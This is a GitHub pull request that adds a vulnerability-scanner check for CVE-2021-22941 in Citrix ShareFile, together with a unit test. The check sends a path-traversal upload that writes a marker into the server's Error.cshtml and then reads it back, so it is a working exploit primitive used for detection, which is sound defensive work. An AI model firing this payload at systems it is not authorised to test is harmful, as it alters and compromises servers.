Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller #1

Merged
merged 24 commits into from
Nov 20, 2023
Merged
Empty file added agent/exploits/__init__.py
Empty file.
112 changes: 112 additions & 0 deletions agent/exploits/cve_2021_22941.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
"""Agent Asteroid implementation for CVE-2021-22941"""

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions

VULNERABILITY_TITLE = (
"Improper Access Control in Citrix ShareFile storage zones controller"
)
VULNERABILITY_REFERENCE = "CVE-2021-22941"
VULNERABILITY_DESCRIPTION = (
"Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may "
"allow an unauthenticated attacker to remotely compromise the storage zones controller."
)

DEFAULT_TIMEOUT = 90


def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
boundary = "boundary"
body = "".join(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n'
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"\r\n"
f"{files['content_file']}\r\n" + f"--{boundary}--\r\n"
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type


class CVE20222941Exploit(definitions.Exploit):
"""
CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}"
try:
req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return "ShareFile" in req.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}"
content_file = "A" * 4096
files = {"name": "text4", "filename": "text5", "content_file": content_file}
data, content_type = _encode_multipart_formdata(files)
headers = {"Content-Type": content_type}
payload = "__VULNERABLE__"
params = {
"uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml",
"bp": "123",
"accountid": "123",
}
try:
requests.post(
target_uri + "/upload.aspx",
data=data,
params=params,
headers=headers,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
req = requests.get(
target_uri + "/configservice/Home/Error",
verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
return []
if payload not in req.text:
return []

vulnerability = self._generate_vulnerability_object(target_uri)
return [vulnerability]

def _generate_vulnerability_object(
self, target_uri: str
) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="HIGH",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}"
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=False,
targeted_by_malware=False,
targeted_by_ransomware=False,
targeted_by_nation_state=False,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH,
)
return vulnerability
1 change: 1 addition & 0 deletions requirement.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
ostorlab[agent]
rich
requests
41 changes: 41 additions & 0 deletions tests/exploits_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
"""Unit tests for Agent Asteriod exploits"""
import re

import requests_mock as req_mock

from agent.exploits import cve_2021_22941
from agent import definitions


def testCVE_2021_22941_whenVulnerable_reportFinding(
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2021-22941, case when target is vulnerable"""
target = definitions.Target(scheme="https", host="75.162.65.52", port=443)
exploit_instance = cve_2021_22941.CVE20222941Exploit()
requests_mock.post(re.compile("https://75.162.65.52"))
requests_mock.get(
re.compile("https://75.162.65.52"),
content=b'<!DOCTYPE html><html><head><meta charset="utf-8" />'
b'<meta name="viewport" content="width=device-width" />'
b"<title></title>"
b'<link href="/configservice/Content/css?v=WMr-pvK-ldSbNXHT-cT0d9QF2pqi7sqz_4MtKl04wlw1" rel="stylesheet"/>'
b'<script src="/configservice/bundles/modernizr?v="></script></head>'
b"<body>__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,"
b"4190,4190,1,638351359841918992,638351359844106518"
b'<script src="/configservice/bundles/jquery?v=Btq6NiodC7qP1zsuC2xUYWo89HSxJy2RWUt0n_7RLeM1"></script>'
b"</body></html>",
)

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title
== "Improper Access Control in Citrix ShareFile storage zones controller"
)
assert (
vulnerability.technical_detail
== "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control "
"in Citrix ShareFile storage zones controller"
)
2 changes: 2 additions & 0 deletions tests/test-requirement.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ pytest
black
mypy
typing-extensions
requests_mock
types-requests
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
Loading